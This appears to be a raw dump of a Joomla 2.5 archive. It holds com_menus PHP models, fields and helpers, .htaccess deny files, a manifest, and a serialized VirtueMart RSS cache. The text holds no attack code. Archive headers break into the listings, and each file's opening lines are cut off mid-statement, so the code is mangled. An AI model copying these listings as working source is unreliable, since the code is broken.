$associations[$table->language]=$table->id; // Deleting old association for these items $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->delete('#__associations'); $query->where('context='.$db->quote('com_menus.item')); $query->where('id IN ('.implode(',', $associations).')'); $db->setQuery($query); $db->query(); if ($error = $db->getErrorMsg()) { $this->setError($error); return false; } if (!$all_language && count($associations)>1) { // Adding new association for these items $key = md5(json_encode($associations)); $query->clear(); $query->insert('#__associations'); foreach ($associations as $tag=>$id) { $query->values($id.','.$db->quote('com_menus.item').','.$db->quote($key)); } $db->setQuery($query); $db->query(); if ($error = $db->getErrorMsg()) { $this->setError($error); return false; } } } // Clean the cache $this->cleanCache(); if (isset($data['link'])) { $base = JURI::base(); $juri = JURI::getInstance($base.$data['link']); $option = $juri->getVar('option'); // Clean the cache parent::cleanCache($option); } return true; } /** * Method to save the reordered nested set tree. * First we save the new order values in the lft values of the changed ids. * Then we invoke the table rebuild to implement the new ordering. * * @param array $idArray id's of rows to be reordered * @param array $lft_array lft values of rows to be reordered * * @return boolean false on failuer or error, true otherwise * @since 1.6 */ public function saveorder($idArray = null, $lft_array = null) { // Get an instance of the table object. $table = $this->getTable(); if (!$table->saveorder($idArray, $lft_array)) { $this->setError($table->getError()); return false; } // Clean the cache $this->cleanCache(); return true; } /** * Method to change the home state of one or more items. * * @param array $pks A list of the primary keys to change. * @param int $value The value of the home state. * * @return boolean True on success. * @since 1.6 */ function setHome(&$pks, $value = 1) { // Initialise variables. $table = $this->getTable(); $pks = (array) $pks; $user = JFactory::getUser(); $languages = array(); $onehome = false; // Remember that we can set a home page for different languages, // so we need to loop through the primary key array. foreach ($pks as $i => $pk) { if ($table->load($pk)) { if (!array_key_exists($table->language, $languages)) { $languages[$table->language] = true; if ($table->home == $value) { unset($pks[$i]); JError::raiseNotice(403, JText::_('COM_MENUS_ERROR_ALREADY_HOME')); } else { $table->home = $value; if ($table->language == '*') { $table->published = 1; } if (!$this->canSave($table)) { // Prune items that you can't change. unset($pks[$i]); JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED')); } elseif (!$table->check()) { // Prune the items that failed pre-save checks. unset($pks[$i]); JError::raiseWarning(403, $table->getError()); } elseif (!$table->store()) { // Prune the items that could not be stored. unset($pks[$i]); JError::raiseWarning(403, $table->getError()); } } } else { unset($pks[$i]); if (!$onehome) { $onehome = true; JError::raiseNotice(403, JText::sprintf('COM_MENUS_ERROR_ONE_HOME')); } } } } // Clean the cache $this->cleanCache(); return true; } /** * Method to change the published state of one or more records. * * @param array $pks A list of the primary keys to change. * @param int $value The value of the published state. * * @return boolean True on success. * @since 1.6 */ function publish(&$pks, $value = 1) { // Initialise variables. $table = $this->getTable(); $pks = (array) $pks; // Default menu item existence checks. if ($value != 1) { foreach ($pks as $i => $pk) { if ($table->load($pk) && $table->home && $table->language == '*') { // Prune items that you can't change. JError::raiseWarning(403, JText::_('JLIB_DATABASE_ERROR_MENU_UNPUBLISH_DEFAULT_HOME')); unset($pks[$i]); break; } } } // Clean the cache $this->cleanCache(); return parent::publish($pks, $value); } /** * Method to change the title & alias. * * @param integer $parent_id The id of the parent. * @param string $alias The alias. * @param string $title The title. * * @return array Contains the modified title and alias. * * @since 1.6 */ protected function generateNewTitle($parent_id, $alias, $title) { // Alter the title & alias $table = $this->getTable(); while ($table->load(array('alias' => $alias, 'parent_id' => $parent_id))) { if ($title == $table->title) { $title = JString::increment($title); } $alias = JString::increment($alias, 'dash'); } return array($title, $alias); } /** * Custom clean cache method * * @since 1.6 */ protected function cleanCache($group = null, $client_id = 0) { parent::cleanCache('com_modules'); parent::cleanCache('mod_menu'); } } PK@y>\xl  %components/com_menus/models/menus.phpnuW+AgetStoreId('getItems'); // Try to load the data from internal storage. if (!empty($this->cache[$store])) { return $this->cache[$store]; } // Load the list items. $items = parent::getItems(); // If emtpy or an error, just return. if (empty($items)) { return array(); } // Getting the following metric by joins is WAY TOO SLOW. // Faster to do three queries for very large menu trees. // Get the menu types of menus in the list. $db = $this->getDbo(); $menuTypes = JArrayHelper::getColumn($items, 'menutype'); // Quote the strings. $menuTypes = implode( ',', array_map(array($db, 'quote'), $menuTypes) ); // Get the published menu counts. $query = $db->getQuery(true) ->select('m.menutype, COUNT(DISTINCT m.id) AS count_published') ->from('#__menu AS m') ->where('m.published = 1') ->where('m.menutype IN ('.$menuTypes.')') ->group('m.menutype') ; $db->setQuery($query); $countPublished = $db->loadAssocList('menutype', 'count_published'); if ($db->getErrorNum()) { $this->setError($db->getErrorMsg()); return false; } // Get the unpublished menu counts. $query->clear('where') ->where('m.published = 0') ->where('m.menutype IN ('.$menuTypes.')'); $db->setQuery($query); $countUnpublished = $db->loadAssocList('menutype', 'count_published'); if ($db->getErrorNum()) { $this->setError($db->getErrorMsg()); return false; } // Get the trashed menu counts. $query->clear('where') ->where('m.published = -2') ->where('m.menutype IN ('.$menuTypes.')'); $db->setQuery($query); $countTrashed = $db->loadAssocList('menutype', 'count_published'); if ($db->getErrorNum()) { $this->setError($db->getErrorMsg()); return false; } // Inject the values back into the array. foreach ($items as $item) { $item->count_published = isset($countPublished[$item->menutype]) ? $countPublished[$item->menutype] : 0; $item->count_unpublished = isset($countUnpublished[$item->menutype]) ? $countUnpublished[$item->menutype] : 0; $item->count_trashed = isset($countTrashed[$item->menutype]) ? $countTrashed[$item->menutype] : 0; } // Add the items to the internal cache. $this->cache[$store] = $items; return $this->cache[$store]; } /** * Method to build an SQL query to load the list data. * * @return string An SQL query * * @since 1.6 */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select all fields from the table. $query->select($this->getState('list.select', 'a.*')); $query->from($db->quoteName('#__menu_types').' AS a'); $query->group('a.id, a.menutype, a.title, a.description'); // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.id')).' '.$db->escape($this->getState('list.direction', 'ASC'))); return $query; } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. * @param string $direction An optional direction (asc|desc). * * @return void * * @since 1.6 */ protected function populateState($ordering = null, $direction = null) { // Initialise variables. $app = JFactory::getApplication('administrator'); // List state information. parent::populateState('a.id', 'asc'); } /** * Gets the extension id of the core mod_menu module. * * @return integer * * @since 2.5 */ public function getModMenuId() { $db = $this->getDbo(); $query = $db->getQuery(true); $query->select('e.extension_id') ->from('#__extensions AS e') ->where('e.type = ' . $db->quote('module')) ->where('e.element = ' . $db->quote('mod_menu')) ->where('e.client_id = 0'); $db->setQuery($query); return $db->loadResult(); } /** * Gets a list of all mod_mainmenu modules and collates them by menutype * * @return array */ public function &getModules() { $model = JModelLegacy::getInstance('Menu', 'MenusModel', array('ignore_request' => true)); $result = &$model->getModules(); return $result; } } PK@y>\V-components/com_menus/models/fields/index.htmlnuW+A PK@y>\),components/com_menus/models/fields/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ Xׯ/components/com_menus/models/fields/menutype.phpnuW+Aform->getValue('id'); $size = ($v = $this->element['size']) ? ' size="'.$v.'"' : ''; $class = ($v = $this->element['class']) ? ' class="'.$v.'"' : 'class="text_area"'; // Get a reverse lookup of the base link URL to Title $model = JModelLegacy::getInstance('menutypes', 'menusModel'); $rlu = $model->getReverseLookup(); switch ($this->value) { case 'url': $value = JText::_('COM_MENUS_TYPE_EXTERNAL_URL'); break; case 'alias': $value = JText::_('COM_MENUS_TYPE_ALIAS'); break; case 'separator': $value = JText::_('COM_MENUS_TYPE_SEPARATOR'); break; default: $link = $this->form->getValue('link'); // Clean the link back to the option, view and layout $value = JText::_(JArrayHelper::getValue($rlu, MenusHelper::getLinkKey($link))); break; } // Load the javascript and css JHtml::_('behavior.framework'); JHtml::_('behavior.modal'); $html[] = ''; $html[] = ''; $html[] = ''; return implode("\n", $html); } } PK@y>\7췈  3components/com_menus/models/fields/menuordering.phpnuW+Aform->getValue('parent_id', 0); if ( empty($parent_id)) { return false; } $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('a.id AS value, a.title AS text'); $query->from('#__menu AS a'); $query->where('a.published >= 0'); $query->where('a.parent_id =' . (int) $parent_id); if ($menuType = $this->form->getValue('menutype')) { $query->where('a.menutype = '.$db->quote($menuType)); } else { $query->where('a.menutype != '.$db->quote('')); } $query->order('a.lft ASC'); // Get the options. $db->setQuery($query); $options = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(500, $db->getErrorMsg()); } $options = array_merge( array(array ('value' =>'-1', 'text'=>JText::_('COM_MENUS_ITEM_FIELD_ORDERING_VALUE_FIRST'))), $options, array(array( 'value' =>'-2', 'text'=>JText::_('COM_MENUS_ITEM_FIELD_ORDERING_VALUE_LAST'))) ); // Merge any additional options in the XML definition. $options = array_merge(parent::getOptions(), $options); return $options; } /** * Method to get the field input markup * * @return string The field input markup. * @since 1.7 */ protected function getInput() { if ($this->form->getValue('id', 0) == 0) { return '' . JText::_('COM_MENUS_ITEM_FIELD_ORDERING_TEXT') . ''; } else { return parent::getInput(); } } } PK@y>\1sEE1components/com_menus/models/fields/menuparent.phpnuW+AgetQuery(true); $query->select('a.id AS value, a.title AS text, a.level'); $query->from('#__menu AS a'); $query->join('LEFT', $db->quoteName('#__menu').' AS b ON a.lft > b.lft AND a.rgt < b.rgt'); if ($menuType = $this->form->getValue('menutype')) { $query->where('a.menutype = '.$db->quote($menuType)); } else { $query->where('a.menutype != '.$db->quote('')); } // Prevent parenting to children of this item. if ($id = $this->form->getValue('id')) { $query->join('LEFT', $db->quoteName('#__menu').' AS p ON p.id = '.(int) $id); $query->where('NOT(a.lft >= p.lft AND a.rgt <= p.rgt)'); } $query->where('a.published != -2'); $query->group('a.id, a.title, a.level, a.lft, a.rgt, a.menutype, a.parent_id, a.published'); $query->order('a.lft ASC'); // Get the options. $db->setQuery($query); $options = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(500, $db->getErrorMsg()); } // Pad the option text with spaces using depth level as a multiplier. for ($i = 0, $n = count($options); $i < $n; $i++) { $options[$i]->text = str_repeat('- ', $options[$i]->level).$options[$i]->text; } // Merge any additional options in the XML definition. $options = array_merge(parent::getOptions(), $options); return $options; } } PK@y>\)&components/com_menus/helpers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)+components/com_menus/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PK@y>\+/lR+components/com_menus/helpers/html/menus.phpnuW+AgetQuery(true); $query->select('m.*'); $query->select('mt.title as menu_title'); $query->from('#__menu as m'); $query->leftJoin('#__menu_types as mt ON mt.menutype=m.menutype'); $query->where('m.id IN ('.implode(',', array_values($associations)).')'); $query->leftJoin('#__languages as l ON m.language=l.lang_code'); $query->select('l.image'); $query->select('l.title as language_title'); $db->setQuery($query); $items = $db->loadObjectList('id'); // Check for a database error. if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); return false; } // Construct html $text = array(); foreach ($associations as $tag=>$associated) { if ($associated != $itemid) { $text[] = JText::sprintf('COM_MENUS_TIP_ASSOCIATED_LANGUAGE', JHtml::_('image', 'mod_languages/'.$items[$associated]->image.'.gif', $items[$associated]->language_title, array('title'=>$items[$associated]->language_title), true), $items[$associated]->title, $items[$associated]->menu_title); } } return JHtml::_('tooltip', implode('
      ', $text), JText::_('COM_MENUS_TIP_ASSOCIATION'), 'menu/icon-16-links.png'); } /** * Returns a published state on a grid * * @param integer $value The state value. * @param integer $i The row index * @param boolean $enabled An optional setting for access control on the action. * @param string $checkbox An optional prefix for checkboxes. * * @return string The Html code * * @see JHtmlJGrid::state * * @since 1.7.1 */ public static function state($value, $i, $enabled = true, $checkbox = 'cb') { $states = array( 7 => array( 'unpublish', '', 'COM_MENUS_HTML_UNPUBLISH_SEPARATOR', '', false, 'publish', 'publish' ), 6 => array( 'publish', '', 'COM_MENUS_HTML_PUBLISH_SEPARATOR', '', false, 'unpublish', 'unpublish' ), 5 => array( 'unpublish', '', 'COM_MENUS_HTML_UNPUBLISH_ALIAS', '', false, 'publish', 'publish' ), 4 => array( 'publish', '', 'COM_MENUS_HTML_PUBLISH_ALIAS', '', false, 'unpublish', 'unpublish' ), 3 => array( 'unpublish', '', 'COM_MENUS_HTML_UNPUBLISH_URL', '', false, 'publish', 'publish' ), 2 => array( 'publish', '', 'COM_MENUS_HTML_PUBLISH_URL', '', false, 'unpublish', 'unpublish' ), 1 => array( 'unpublish', 'COM_MENUS_EXTENSION_PUBLISHED_ENABLED', 'COM_MENUS_HTML_UNPUBLISH_ENABLED', 'COM_MENUS_EXTENSION_PUBLISHED_ENABLED', true, 'publish', 'publish' ), 0 => array( 'publish', 'COM_MENUS_EXTENSION_UNPUBLISHED_ENABLED', 'COM_MENUS_HTML_PUBLISH_ENABLED', 'COM_MENUS_EXTENSION_UNPUBLISHED_ENABLED', true, 'unpublish', 'unpublish' ), -1 => array( 'unpublish', 'COM_MENUS_EXTENSION_PUBLISHED_DISABLED', 'COM_MENUS_HTML_UNPUBLISH_DISABLED', 'COM_MENUS_EXTENSION_PUBLISHED_DISABLED', true, 'warning', 'warning' ), -2 => array( 'publish', 'COM_MENUS_EXTENSION_UNPUBLISHED_DISABLED', 'COM_MENUS_HTML_PUBLISH_DISABLED', 'COM_MENUS_EXTENSION_UNPUBLISHED_DISABLED', true, 'unpublish', 'unpublish' ), ); return JHtml::_('jgrid.state', $states, $value, $i, 'items.', $enabled, true, $checkbox); } } PK@y>\V,components/com_menus/helpers/html/index.htmlnuW+A PK@y>\3&components/com_menus/helpers/menus.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } /** * Gets a standard form of a link for lookups. * * @param mixed A link string or array of request variables. * * @return mixed A link in standard option-view-layout form, or false if the supplied response is invalid. */ public static function getLinkKey($request) { if (empty($request)) { return false; } // Check if the link is in the form of index.php?... if (is_string($request)) { $args = array(); if (strpos($request, 'index.php') === 0) { parse_str(parse_url(htmlspecialchars_decode($request), PHP_URL_QUERY), $args); } else { parse_str($request, $args); } $request = $args; } // Only take the option, view and layout parts. foreach ($request as $name => $value) { if ((!in_array($name, self::$_filter)) && (!($name == 'task' && !array_key_exists('view', $request)))) { // Remove the variables we want to ignore. unset($request[$name]); } } ksort($request); return 'index.php?'.http_build_query($request, '', '&'); } /** * Get the menu list for create a menu module * * @return array The menu array list * @since 1.6 */ public static function getMenuTypes() { $db = JFactory::getDbo(); $db->setQuery('SELECT a.menutype FROM #__menu_types AS a'); return $db->loadColumn(); } /** * Get a list of menu links for one or all menus. * * @param string An option menu to filter the list on, otherwise all menu links are returned as a grouped array. * @param int An optional parent ID to pivot results around. * @param int An optional mode. If parent ID is set and mode=2, the parent and children are excluded from the list. * @param array An optional array of states */ public static function getMenuLinks($menuType = null, $parentId = 0, $mode = 0, $published=array(), $languages=array()) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('a.id AS value, a.title AS text, a.level, a.menutype, a.type, a.template_style_id, a.checked_out'); $query->from('#__menu AS a'); $query->join('LEFT', $db->quoteName('#__menu').' AS b ON a.lft > b.lft AND a.rgt < b.rgt'); // Filter by the type if ($menuType) { $query->where('(a.menutype = '.$db->quote($menuType).' OR a.parent_id = 0)'); } if ($parentId) { if ($mode == 2) { // Prevent the parent and children from showing. $query->join('LEFT', '#__menu AS p ON p.id = '.(int) $parentId); $query->where('(a.lft <= p.lft OR a.rgt >= p.rgt)'); } } if (!empty($languages)) { if (is_array($languages)) { $languages = '(' . implode(',', array_map(array($db, 'quote'), $languages)) . ')'; } $query->where('a.language IN ' . $languages); } if (!empty($published)) { if (is_array($published)) $published = '(' . implode(',', $published) .')'; $query->where('a.published IN ' . $published); } $query->where('a.published != -2'); $query->group('a.id, a.title, a.level, a.menutype, a.type, a.template_style_id, a.checked_out, a.lft'); $query->order('a.lft ASC'); // Get the options. $db->setQuery($query); $links = $db->loadObjectList(); // Check for a database error. if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); return false; } // Pad the option text with spaces using depth level as a multiplier. foreach ($links as &$link) { $link->text = str_repeat('- ', $link->level).$link->text; } if (empty($menuType)) { // If the menutype is empty, group the items by menutype. $query->clear(); $query->select('*'); $query->from('#__menu_types'); $query->where('menutype <> '.$db->quote('')); $query->order('title, menutype'); $db->setQuery($query); $menuTypes = $db->loadObjectList(); // Check for a database error. if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); return false; } // Create a reverse lookup and aggregate the links. $rlu = array(); foreach ($menuTypes as &$type) { $rlu[$type->menutype] = &$type; $type->links = array(); } // Loop through the list of menu links. foreach ($links as &$link) { if (isset($rlu[$link->menutype])) { $rlu[$link->menutype]->links[] = &$link; // Cleanup garbage. unset($link->menutype); } } return $menuTypes; } else { return $links; } } static public function getAssociations($pk) { $associations = array(); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->from('#__menu as m'); $query->innerJoin('#__associations as a ON a.id=m.id AND a.context='.$db->quote('com_menus.item')); $query->innerJoin('#__associations as a2 ON a.key=a2.key'); $query->innerJoin('#__menu as m2 ON a2.id=m2.id'); $query->where('m.id='.(int)$pk); $query->select('m2.language, m2.id'); $db->setQuery($query); $menuitems = $db->loadObjectList('language'); // Check for a database error. if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); return false; } foreach ($menuitems as $tag=>$item) { $associations[$tag] = $item->id; } return $associations; } } PK@y>\V'components/com_menus/helpers/index.htmlnuW+A PK@y>\Vcomponents/com_menus/index.htmlnuW+A PK@y>\{99components/com_menus/menus.phpnuW+Aauthorise('core.manage', 'com_menus')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } // Execute the task. $controller = JControllerLegacy::getInstance('Menus'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PK@y>\Tcomponents/com_menus/menus.xmlnuW+A com_menus Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_MENUS_XML_DESCRIPTION config.xml controller.php index.html menus.php controllers helpers models views language/en-GB.com_menus.ini PK@y>\Vcache/index.htmlnuW+A PK@y>\)cache/.htaccessnuW+A Order allow,deny Deny from all PK@y>\0 Ɉii*cache/c2dca70db891741dc643e71159b3d42f.spcnuW+Aa:4:{s:5:"child";a:1:{s:0:"";a:1:{s:3:"rss";a:1:{i:0;a:6:{s:4:"data";s:3:" ";s:7:"attribs";a:1:{s:0:"";a:1:{s:7:"version";s:3:"2.0";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:1:{s:7:"channel";a:1:{i:0;a:6:{s:4:"data";s:68:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:7:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:45:"VirtueMart Extensions - VirtueMart Extensions";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:97:"Webshop of the VirtueMart team to sell extensions for VirtueMart running on joomla 1.5, 1.7, 2.5.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:32:"http://extensions.virtuemart.net";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:13:"lastBuildDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 26 May 2014 16:21:58 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:9:"generator";a:1:{i:0;a:5:{s:4:"data";s:40:"Joomla! - Open Source Content Management";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"language";a:1:{i:0;a:5:{s:4:"data";s:5:"en-gb";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"item";a:15:{i:0;a:6:{s:4:"data";s:23:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:15:"Sales Analytics";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:66:"http://extensions.virtuemart.net/statistics/sales-analytics-detail";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:66:"http://extensions.virtuemart.net/statistics/sales-analytics-detail";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:481:"
      salesanalytics_extension_logoPowerful sales reporting system for VirtueMart stores, with flexible time framing

      Read more

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 03 Dec 2013 16:38:34 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:1;a:6:{s:4:"data";s:23:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:17:"EU Vat ID checker";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:67:"http://extensions.virtuemart.net/vm-orders/eu-vat-id-checker-detail";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:67:"http://extensions.virtuemart.net/vm-orders/eu-vat-id-checker-detail";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:465:"
      eu-vat-checker1Validates the EU VAT Id during the checkout process, and assigns a new group to the shopper.

      Read more

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 05 Aug 2012 11:27:34 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:2;a:6:{s:4:"data";s:23:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:17:"Theme Shoplicious";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:64:"http://extensions.virtuemart.net/themes/theme-shoplicious-detail";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:64:"http://extensions.virtuemart.net/themes/theme-shoplicious-detail";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:574:"
      mowebso_vm2_theme_shoplicious_icon_150x1504This VirtueMart theme gives a new look to your VirtueMart shop. It upgrades the VirtueMart sections but does not affect your Joomla template design.

      Read more

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 15 May 2012 17:34:49 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:3;a:6:{s:4:"data";s:23:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:25:"SEPA Direct debit mandate";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:74:"http://extensions.virtuemart.net/payments/sepa-direct-debit-mandate-detail";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:74:"http://extensions.virtuemart.net/payments/sepa-direct-debit-mandate-detail";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:488:"
      logo_sepa0031SEPA (Single Euro Payments Area) Direct Debit Mandate is the solution for merchants selling goods within Europe.

      Read more

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 11 Jul 2013 12:00:38 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:4;a:6:{s:4:"data";s:23:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:16:"all about bundle";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:67:"http://extensions.virtuemart.net/categories/all-about-bundle-detail";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:67:"http://extensions.virtuemart.net/categories/all-about-bundle-detail";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:507:"
      all_about_bundle_iconeCommerce Template, Theme Shoplicious, All About Products, All about Categories, Products Anywhere, All About Manufacturer

      Read more

      ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 07 Jan 2013 15:40:36 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:5;a:6:{s:4:"data";s:23:" ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:21:"Category Image Module";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:74:"http://extensions.virtuemart.net/categories/category-image-module-1-detail";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:74:"http://extensions.virtuemart.net/categories/category-image-module-1-detail";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:4:"true";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:545:"
      thumb_mod_category_image1Display defined VirtueMart categories, thumbs, and descriptions at any module position. Adjust shown elements and settings by several parameters.

      Read more

